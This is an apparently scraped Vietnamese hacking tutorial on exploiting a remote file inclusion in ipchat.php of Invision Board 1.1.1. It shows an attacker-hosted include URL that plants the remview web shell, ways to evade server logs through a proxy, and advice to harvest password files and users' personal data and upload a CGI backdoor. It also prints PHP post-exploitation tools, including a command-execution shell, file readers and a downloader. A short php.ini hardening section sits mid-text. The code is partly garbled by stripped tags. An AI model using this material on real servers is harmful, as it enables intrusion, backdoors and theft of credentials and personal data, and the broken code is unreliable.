Hack IBF 1.1.1 qua lỗi của file ipchat.php

Để khai thác thành công lỗi này thì máy chủ phải cài forum ibf 1.1.1 chưa được patch lỗi code injection trong file ipchat.php, php.ini : register_globals=on & allow_url_fopen=on

nguyên nhân do file lỗi code injection trong file ipchat.php. nội dung của file này như sau:

 

 

doc15 trang | Chia sẻ: luyenbuizn | Lượt xem: 1226 | Lượt tải: 0download
Nội dung tài liệu Hack IBF 1.1.1 qua lỗi của file ipchat.php, để tải tài liệu về máy bạn click vào nút DOWNLOAD ở trên
.Hack IBF 1.1.1 qua lỗi của file ipchat.php trang này đã được đọc lần http://[mục tiêu]/ipchat.php?root_path= sau đó bạn có thể xài remview qua địa chỉ: htt://[mục tiêu]/conf_global.php?c=l - để khai thác thành công lỗi này thì máy chủ phải cài forum ibf 1.1.1 chưa được patch lỗi code injection trong file ipchat.php, php.ini : register_globals=on & allow_url_fopen=on nguyên nhân do file lỗi code injection trong file ipchat.php. nội dung của file này như sau: ... ?> nếu cái server nào chưa được patch lỗi này và cấu hình php cho đăng kí biến toàn cục + truy cập file remote thì chúng ta có thể khai thác đại loại như sau: http://[target]/ipchat?root_path=http://[attacker]/ cụ thể là http://[mục tiêu]/ipchat.php?root_path= thì nó dòng "require ... ;" trong file ipchat.php sẽ là: require ""; file này sẽ thay đổi nội dung của file conf_global.php trên máy chủ và cài remview vào đây. ( bạn xem 2 file & base64.php sẽ rõ, file remview.php bị thay đổi một chút xíu cho phù hợp) - cho dù set quote đã được bật thì vẫn có thể khai thác được ở đây. hihi, bạn tham khảo source-code của remview.php sẽ rõ! - mình chỉ lợi dụng một chỗ hở của forum IBF thôi. đây là một đoạn trong file hướng dẫn cài đặt "bạn phải chmod 777 cho thư mục uploads và file conf_global.php trước khi tiến hành cài đặt forum". quá tệ phải không? mình đã thử upload file remview.php lên thư mục uploads nhưng nó chỉ được set user/group là uid&gid đang có hiệu lực hiện tại, cụ thể là owner/group=nobody/nobody. khi safe mode đã được bật, nếu chạy thì nó chẳng chạy đâu do owner/group là nobody/nobody khác với owner/group của thư mục hiện tại. vì vậy chỉ có thể kiếm cái file nào đó được chmod 777 mà xài thôi. mình chọn conf_global.php do file này default được set permisions là 777 à lưu ý bạn chỉ nên chạy dòng "http://[mục tiêu]/ipchat.php?root_path=" MỘT LẦN DUY NHẤT! nếu chạy "http://[mục tiêu]/ipchat.php?root_path=" chúng ta sẽ bị ghi nhất kí ngay. file .log của httpd như sau: ??/??/2003 - [111.222.333.444] GET /ipchat.php?root_path= HTTP/1.0 để tránh ghi nhật kí khi khai thác, bạn tạo một file html như sau: mở IE, set lại proxy là "proxy.ia2.marketscore.com" và sau đó chạy file html vừa tạo. ok, nhật kí của httpd sẽ như sau: ??/??/2003 - proxy.ia2.marketscore.com [66.119.34.38] - POST /ipchat.php HTTP/1.0 thật sự thì họ chẳng biết địa chỉ ip của chúng ta và cũng chẳng biết được chúng ta đã cài remview.php bằng cách nào nữa - chúng ta tiếp tục với việc leo thang quyền. sau khi bạn upload file remview.php bạn có thể xài đồ nghề này để đi kiếm chát vài thứ khác. các file bạn cần để ý đến là .passwd, passwords.txt, users.txt, config.php, ... chúng ta sẽ thăm dò toàn bộ các file chứa username & password. bạn cũng nên thu thập thêm vài thông tin khác như địa chỉ email, thông tin cá nhân của các users mà bạn có thể truy cập đến trên server. một vấn đề nữa là bạn nên cố tìm trên server file .cgi, .pl gặp lỗi (thường nằm trong thư mục cgi-bin) hoặc các thư mục cgi mà chúng ta có thể upload file cgi. khi chế độ safemode đã được bật thì rất khó làm gì được. chúng ta nên chuyển sang xài cgi để hack dễ hơn. hihi, bạn cố gắng upload backdoor cgitelnet.pl lên server để xài nha. - một số đồ nghề php mà mình đã code (để hổ trợ cho hack code injection thôi). uh, mình quên viết sql.php rồi - : dir tree, rất cần để tham dò toàn bộ cấu trúc của thư mục public_html - : xác định uid/gid đang có hiệu lực và lấy thông tin từ hàm phpinfo(); - : liệt kê 1 thư mục cụ thể - : upload file qua url:// (http:// & ftp://) - : xem nộ dung của 1 file cụ thể trên máy chủ - : lấy file từ máy chủ về máy mình - : thực thi lệnh hệ thống mấy thứ này các bạn nên code lại tuỳ theo hoàn cảnh cụ thể của bạn. riêng mình thì mình thích nhất là hai file tree.php & phpinfo.php mà mình đã code * phòng thủ cho forum IBF của bạn (nói chung là cho PHP): - xoá ngay file ipchat.php trên server - chmod lại cho file conf_global.php là 755 - cấu hình lại file php.ini như sau: allow_url_fopen=off // không có phép lấy file bằng url:// disable_functions=system passthru exec popen mail" // vô hiệu các hàm php nguy hiểm display_errors=off // không hiện lỗi php để đề phòng trường hợp tiết lộ thông tin về thư mục đang làm việc, dòng vấn tin sql gặp lỗi và một số thông tin khác ... file_uploads=off // không cho phép upload file server (nếu bạn thấy không cần) magic_quotes_gpc=on // bật quote magic_quotes_runtime=on magic_quotes_sybase=on register_globals=off // không tự động đăng kí biến toàn cục safe_mode=on // bật chế độ an toàn cho PHP safe_mode_exec_dir=/usr/none // không cho thi hành lệnh hệ thống, bạn thay "/usr/none" thành tên thư mục nào khác mà không chứa gì hết có gì hết và đã được set quyền an toàn safe_mode_gid=on // bật chế độ an toàn so sánh gid/uid trước khi chạy kịch bản php sql.safe_mode=on // bật chế độ an toàn trước khi vấn tin sql Sockets Support = disabled // vô hiệu các hàm liên quan đến socket nếu ban không bao giờ dùng đến. bạn nên tham khảo thêm tài liệu php về hai hàm set_magic_quotes_runtime(1); & ini_set() Code các file trên : ------- tree.php - Code by vkdt ------- $v) if (isset($HTTP_POST_VARS[$v])) $$v=$HTTP_POST_VARS[$v]; elseif (isset($HTTP_GET_VARS[$v])) $$v=$HTTP_GET_VARS[$v]; elseif (isset($HTTP_COOKIE_VARS[$v])) $$v=$HTTP_COOKIE_VARS[$v]; $autovars2="path"; if (get_magic_quotes_runtime() || get_magic_quotes_gpc()) foreach (explode(" ",$autovars2) as $k=>$v) if (isset($$v)) $$v=stripslashes($$v); if (!isset($path)) $path=realpath("."); $path=str_replace("\\","/",$path); $html= $path body,td{font-family:Fixedsys} a{color:#0000ff} html; echo $html; dir_tree($path); $html= html; echo $html; exit; function dir_tree($df) { $dirs=array(); $files=array(); if ($dir=@opendir($df)) { while (($file=readdir($dir))!=false) { if ($file=="." || $file=="..") continue; if (@is_dir("$df/$file")) { $dirs[]=$file; } elseif (@is_file("$df/$file")) { $files[]=$file; } } closedir($dir); sort($dirs); sort($files); if (count($dirs) || count($files)) { $perms=get_perms(fileperms($df)); if (function_exists("posix_getpwuid")) { $uid=posix_getpwuid(fileowner($df)); $owner=$uid["name"]; } else $owner=""; if (function_exists("posix_getgrgid")) { $gid=posix_getgrgid(filegroup($df)); $group=$gid["name"]; } else $group=""; if ($owner=="" && $owner=="") $more=$perms; else $more="$owner/$group $perms"; $html=$df ($more) Name Size Type Modify Owner/Group Perms html; echo $html; $total_dirs=count($dirs); $total_files=count($files); $total_size=0; for ($i=0; $i $name $size $type $modify $owns $perms html; echo $html; } for ($i=0; $i $name $size $type $modify $owns $perms html; echo $html; } $total_size=get_better_size($total_size); $html= $total_dirs directories, $total_files files ($total_size) html; echo $html; for ($i=0; $i=$terabyte) return number_format($size/$terabyte, 2, ',', '.')." TB"; else if ($size>=$gigabyte) return number_format($size/$gigabyte, 2, ',', '.')." GB"; else if ($size>=$megabyte) return number_format($size/$megabyte, 2, ',', '.')." MB"; else if ($size>=$kilobyte) return number_format($size/$kilobyte, 2, ',', '.')." KB"; else return number_format($size, 0, ',', '.')." B"; } function get_perms($p) { if (($p & 0xC000) === 0xC000) $type = 's'; else if (($p & 0x4000) === 0x4000) $type = 'd'; else if (($p & 0xA000) === 0xA000) $type = 'l'; else if (($p & 0x8000) === 0x8000) $type = '-'; else if (($p & 0x6000) === 0x6000) $type = 'b'; else if (($p & 0x2000) === 0x2000) $type = 'c'; else if (($p & 0x1000) === 0x1000) $type = 'p'; else $type='?'; $u["r"] = ($p & 00400) ? 'r' : '-'; $u["w"] = ($p & 00200) ? 'w' : '-'; $u["x"] = ($p & 00100) ? 'x' : '-'; $g["r"] = ($p & 00040) ? 'r' : '-'; $g["w"] = ($p & 00020) ? 'w' : '-'; $g["x"] = ($p & 00010) ? 'x' : '-'; $o["r"] = ($p & 00004) ? 'r' : '-'; $o["w"] = ($p & 00002) ? 'w' : '-'; $o["x"] = ($p & 00001) ? 'x' : '-'; if($p & 0x800) $u["x"] = ($u["x"] == 'x') ? 's' : 'S'; if($p & 0x400) $g["x"] = ($g["x"] == 'x') ? 's' : 'S'; if($p & 0x200) $o["x"] = ($o["x"] == 'x') ? 't' : 'T'; return $type.$u["r"].$u["w"].$u["x"].$g["r"].$g["w"].$g["x"].$o["r"].$o["w"].$o["x"]; } ?> ----------------------------------------------------- -------- phpinfo.php - Code by vkdt --------- Working directory: " . getcwd() . "\nEffective GID/UID: $uid/$gid (" . $user['name'] . "/" . $group['name'] . ")\n"; phpinfo(); exit; ?> ---------------------------------------------------- ------------------- cmd.php --------------------- \n"; system($cmd); ?> ----------------------------------------------------- -------------- view.php -------------------------- $filename body,pre{font-family:Fixedsys} a{color:#0000ff} $data html; echo $html; } exit; ?> -------------- get.php ------------------- "ez", "application/mac-binhex40" => "hqx", "application/mac-compactpro" => "cpt", "application/msword" => "doc", "application/octet-stream" => "bin dms lha lzh exe class so dll", "application/oda" => "oda", "application/pdf" => "pdf", "application/postscript" => "ai eps ps", "application/smil" => "smi smil", "application/vnd.ms-excel" => "xls", "application/vnd.ms-powerpoint" => "ppt", "application/vnd.wap.wbxml" => "wbxml", "application/vnd.wap.wmlc" => "wmlc", "application/vnd.wap.wmlscriptc" => "wmlsc", "application/x-bcpio" => "bcpio", "application/x-cdlink" => "vcd", "application/x-chess-pgn" => "pgn", "application/x-cpio" => "cpio", "application/x-csh" => "csh", "application/x-director" => "dcr dir dxr", "application/x-dvi" => "dvi", "application/x-futuresplash" => "spl", "application/x-gtar" => "gtar", "application/x-hdf" => "hdf", "application/x-javascript" => "js", "application/x-koan" => "skp skd skt skm", "application/x-latex" => "latex", "application/x-netcdf" => "nc cdf", "application/x-sh" => "sh", "application/x-shar" => "shar", "application/x-shockwave-flash" => "swf", "application/x-stuffit" => "sit", "application/x-sv4cpio" => "sv4cpio", "application/x-sv4crc" => "sv4crc", "application/x-tar" => "tar", "application/x-tcl" => "tcl", "application/x-tex" => "tex", "application/x-texinfo" => "texinfo texi", "application/x-troff" => "t tr roff", "application/x-troff-man" => "man", "application/x-troff-me" => "me", "application/x-troff-ms" => "ms", "application/x-ustar" => "ustar", "application/x-wais-source" => "src", "application/zip" => "zip", "audio/basic" => "au snd", "audio/midi" => "mid midi kar", "audio/mpeg" => "mpga mp2 mp3", "audio/x-aiff" => "aif aiff aifc", "audio/x-mpegurl" => "m3u", "audio/x-pn-realaudio" => "ram rm", "audio/x-pn-realaudio-plugin" => "rpm", "audio/x-realaudio" => "ra", "audio/x-wav" => "wav", "chemical/x-pdb" => "pdb", "chemical/x-xyz" => "xyz", "image/bmp" => "bmp", "image/gif" => "gif", "image/ief" => "ief", "image/jpeg" => "jpeg jpg jpe", "image/png" => "png", "image/tiff" => "tiff tif", "image/vnd.wap.wbmp" => "wbmp", "image/x-cmu-raster" => "ras", "image/x-portable-anymap" => "pnm", "image/x-portable-bitmap" => "pbm", "image/x-portable-graymap" => "pgm", "image/x-portable-pixmap" => "ppm", "image/x-rgb" => "rgb", "image/x-xbitmap" => "xbm", "image/x-xpixmap" => "xpm", "image/x-xwindowdump" => "xwd", "model/iges" => "igs iges", "model/mesh" => "msh mesh silo", "model/vrml" => "wrl vrml", "text/css" => "css", "text/html" => "html htm", "text/plain" => "asc txt", "text/richtext" => "rtx", "text/rtf" => "rtf", "text/sgml" => "sgml sgm", "text/tab-separated-values" => "tsv", "text/vnd.wap.wml" => "wml", "text/vnd.wap.wmlscript" => "wmls", "text/x-setext" => "etx", "text/xml" => "xml xsl", "video/mpeg" => "mpeg mpg mpe", "video/quicktime" => "qt mov", "video/vnd.mpegurl" => "mxu", "video/x-msvideo" => "avi", "video/x-sgi-movie" => "movie", "x-conference/x-cooltalk" => "ice", ); if (isset($HTTP_GET_VARS['filename'])) $fullpath=realpath(stripslashes($HTTP_GET_VARS['filename'])); else exit; $filename=basename($fullpath); if (is_file($fullpath) && is_readable($fullpath)) { header("Content-Type: ".get_mimetype($filename)); header("Content-Length: ".filesize($fullpath)); header("Content-Disposition: attachment; filename=$filename"); readfile($fullpath); } exit; function get_mimetype($filename) ## Get MIME-type for file { global $MIMEtypes; reset($MIMEtypes); $extension = strtolower(substr(strrchr($filename, "."),1)); if ($extension == "") return "Unknown/Unknown"; while (list($mimetype, $file_extensions) = each($MIMEtypes)) foreach (explode(" ", $file_extensions) as $file_extension) if ($extension == $file_extension) return $mimetype; return "Unknown/Unknown"; } ?> ----------------------------------------------------------------- --------------- dir.php --------------------------------------- $v) if (isset($HTTP_POST_VARS[$v])) $$v=$HTTP_POST_VARS[$v]; elseif (isset($HTTP_GET_VARS[$v])) $$v=$HTTP_GET_VARS[$v]; elseif (isset($HTTP_COOKIE_VARS[$v])) $$v=$HTTP_COOKIE_VARS[$v]; $autovars2="path"; if (get_magic_quotes_runtime() || get_magic_quotes_gpc()) foreach (explode(" ",$autovars2) as $k=>$v) if (isset($$v)) $$v=stripslashes($$v); $win=0; if (!isset($path)) $path=realpath("."); chdir($path); $dirs=array(); $files=array(); $links=array(); $di=dir($path); while (false!==($name=$di->read())) { $ftype[$name] =filetype($name); $fsize[$name] =filesize ($name); $ftime[$name] =filemtime($name); $fperms[$name]=fileperms($name); $fowner[$name]=fileowner($name); $fgroup[$name]=filegroup($name); switch ($ftype[$name]) { case 'dir': $ftype[$name]="DIR"; $dirs[]=strval($name); break; case 'file': $ftype[$name]=" "; $files[]=strval($name); if (preg_match("!^[^.].*\.([^.]+)$!",$name,$ok)) $fext[$name]=strtolower($ok[1]); else $fext[$name]=""; break; case 'link': $ftype[$name]="->"; $links[]=strval($name); break; } } $di->close(); $names=array(); // dirs $listsort=array(); if (count($dirs)) foreach ($dirs as $v) $listsort[$v]=strtolower($v); asort($listsort); $names=$listsort; // links $listsort=array(); if (count($links)) foreach ($links as $v) $listsort[$v]=strtolower($v); asort($listsort); $names=array_merge($names, $listsort); // files $listsort=array(); if (count($files)) foreach ($files as $v) $listsort[$v]="$fext[$v] $v"; asort($listsort); $names=array_merge($names, $listsort); //print_r($names); $html= body,td{font-family:Fixedsys} a:{color:#ff0000} Index of '$path' Name Size Type Modify Owner/Group Perms html; echo $html; foreach ($names as $k=>$v) { $name=htmlspecialchars($k); if ($ftype[$k]=='DIR') $size=" "; else $size=number_format($fsize[$k], 0, "", '.'); $type=$ftype[$k]; $modify=date("d/m/Y H:i:s", $ftime[$k]); $tmp=@_posix_getpwuid($fowner[$k]); if (!isset($tmp['name']) || $tmp['name']=="") $owner=""; else $owner=$tmp['name']; $tmp=@_posix_getgrgid($fgroup[$k]); if (!isset($tmp['name']) || $tmp['name']=="") $group=""; else $group=$tmp['name']; if ($owner=="" || $group=="") $owns=" "; else $owns="$owner/$group"; $perms=get_perms($fperms[$k]); if ($perms=="") $perms=" "; $html= $name $size $type $modify $owns $perms html; echo $html; } $html= html; echo $html; function _posix_getpwuid($x) { if ($GLOBALS['win']) return array(); else return posix_getpwuid($x); } function _posix_getgrgid($x) { if ($GLOBALS['win']) return array(); else return posix_getgrgid($x); } function get_perms($mode) { if ($GLOBALS['win']) return ""; // xac dinh Type if( $mode & 0x1000 ) $type='p'; /* FIFO pipe */ else if( $mode & 0x2000 ) $type='c'; /* Character special */ else if( $mode & 0x4000 ) $type='d'; /* Directory */ else if( $mode & 0x6000 ) $type='b'; /* Block special */ else if( $mode & 0x8000 ) $type='-'; /* Regular */ else if( $mode & 0xA000 ) $type='l'; /* Symbolic Link */ else if( $mode & 0xC000 ) $type='s'; /* Socket */ else $type='u'; /* UNKNOWN */ // xac dinh Perms $owner['read'] = ($mode & 00400) ? 'r' : '-'; $owner['write'] = ($mode & 00200) ? 'w' : '-'; $owner['execute'] = ($mode & 00100) ? 'x' : '-'; $group['read'] = ($mode & 00040) ? 'r' : '-'; $group['write'] = ($mode & 00020) ? 'w' : '-'; $group['execute'] = ($mode & 00010) ? 'x' : '-'; $world['read'] = ($mode & 00004) ? 'r' : '-'; $world['write'] = ($mode & 00002) ? 'w' : '-'; $world['execute'] = ($mode & 00001) ? 'x' : '-'; // hieu chinh SUID, SGID & bit sticky if( $mode & 0x800 ) $owner['execute'] = ($owner['execute']=='x') ? 's' : 'S'; if( $mode & 0x400 ) $group['execute'] = ($group['execute']=='x') ? 's' : 'S'; if( $mode & 0x200 ) $world['execute'] = ($world['execute']=='x') ? 't' : 'T'; $s=sprintf("%1s", $type); $s.=sprintf("%1s%1s%1s", $owner['read'], $owner['write'], $owner['execute']); $s.=sprintf("%1s%1s%1s", $group['read'], $group['write'], $group['execute']); $s.=sprintf("%1s%1s%1s", $world['read'], $world['write'], $world['execute']); return trim($s); } exit; ?> ------------------------------------------------------------- -------------------- url.php ------------------------------ Error! Unknown switch argument.

Các file đính kèm theo tài liệu này:

  • dochack_ibf_1_5794.doc
Tài liệu liên quan